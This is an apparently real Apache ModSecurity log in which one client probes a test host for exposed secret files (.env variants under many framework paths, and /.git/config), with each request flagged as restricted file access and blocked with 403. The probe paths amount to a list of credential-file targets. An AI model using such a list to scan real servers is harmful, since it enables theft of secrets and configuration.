[Tue Sep 09 15:05:01.142782 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aMAl_VSrOgbtr_HnXCKxIwAAAAc&quot;]
[Tue Sep 09 15:05:01.239581 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aMAl_VSrOgbtr_HnXCKxJAAAAAc&quot;]
[Tue Sep 09 15:05:01.239781 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aMAl_VSrOgbtr_HnXCKxJAAAAAc&quot;]
[Tue Sep 09 15:05:01.239968 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aMAl_VSrOgbtr_HnXCKxJAAAAAc&quot;]
[Tue Sep 09 15:05:01.336805 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aMAl_VSrOgbtr_HnXCKxJQAAAAc&quot;]
[Tue Sep 09 15:05:01.337013 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aMAl_VSrOgbtr_HnXCKxJQAAAAc&quot;]
[Tue Sep 09 15:05:01.337203 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aMAl_VSrOgbtr_HnXCKxJQAAAAc&quot;]
[Tue Sep 09 15:05:01.532509 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /wp-content/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aMAl_VSrOgbtr_HnXCKxJwAAAAc&quot;]
[Tue Sep 09 15:05:01.532727 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aMAl_VSrOgbtr_HnXCKxJwAAAAc&quot;]
[Tue Sep 09 15:05:01.532925 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aMAl_VSrOgbtr_HnXCKxJwAAAAc&quot;]
[Tue Sep 09 15:05:01.629717 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aMAl_VSrOgbtr_HnXCKxKAAAAAc&quot;]
[Tue Sep 09 15:05:01.629933 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aMAl_VSrOgbtr_HnXCKxKAAAAAc&quot;]
[Tue Sep 09 15:05:01.630117 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aMAl_VSrOgbtr_HnXCKxKAAAAAc&quot;]
[Tue Sep 09 15:05:01.727097 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aMAl_VSrOgbtr_HnXCKxKQAAAAc&quot;]
[Tue Sep 09 15:05:01.727312 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aMAl_VSrOgbtr_HnXCKxKQAAAAc&quot;]
[Tue Sep 09 15:05:01.727498 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aMAl_VSrOgbtr_HnXCKxKQAAAAc&quot;]
[Tue Sep 09 15:05:01.824472 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aMAl_VSrOgbtr_HnXCKxKgAAAAc&quot;]
[Tue Sep 09 15:05:01.824670 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aMAl_VSrOgbtr_HnXCKxKgAAAAc&quot;]
[Tue Sep 09 15:05:01.824840 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aMAl_VSrOgbtr_HnXCKxKgAAAAc&quot;]
[Tue Sep 09 15:05:01.921574 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aMAl_VSrOgbtr_HnXCKxKwAAAAc&quot;]
[Tue Sep 09 15:05:01.921770 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aMAl_VSrOgbtr_HnXCKxKwAAAAc&quot;]
[Tue Sep 09 15:05:01.921939 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aMAl_VSrOgbtr_HnXCKxKwAAAAc&quot;]
[Tue Sep 09 15:05:02.018952 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aMAl_lSrOgbtr_HnXCKxLAAAAAc&quot;]
[Tue Sep 09 15:05:02.019185 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aMAl_lSrOgbtr_HnXCKxLAAAAAc&quot;]
[Tue Sep 09 15:05:02.019373 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aMAl_lSrOgbtr_HnXCKxLAAAAAc&quot;]
[Tue Sep 09 15:05:02.240089 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aMAl_lSrOgbtr_HnXCKxLgAAAAc&quot;]
[Tue Sep 09 15:05:02.240306 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aMAl_lSrOgbtr_HnXCKxLgAAAAc&quot;]
[Tue Sep 09 15:05:02.240514 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aMAl_lSrOgbtr_HnXCKxLgAAAAc&quot;]
[Tue Sep 09 15:05:02.343904 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /library/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/library/.env&quot;] [unique_id &quot;aMAl_lSrOgbtr_HnXCKxLwAAAAc&quot;]
[Tue Sep 09 15:05:02.344202 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/library/.env&quot;] [unique_id &quot;aMAl_lSrOgbtr_HnXCKxLwAAAAc&quot;]
[Tue Sep 09 15:05:02.344445 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/library/.env&quot;] [unique_id &quot;aMAl_lSrOgbtr_HnXCKxLwAAAAc&quot;]
[Tue Sep 09 15:05:02.441758 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nextjs-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nextjs-app/.env&quot;] [unique_id &quot;aMAl_lSrOgbtr_HnXCKxMAAAAAc&quot;]
[Tue Sep 09 15:05:02.442052 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nextjs-app/.env&quot;] [unique_id &quot;aMAl_lSrOgbtr_HnXCKxMAAAAAc&quot;]
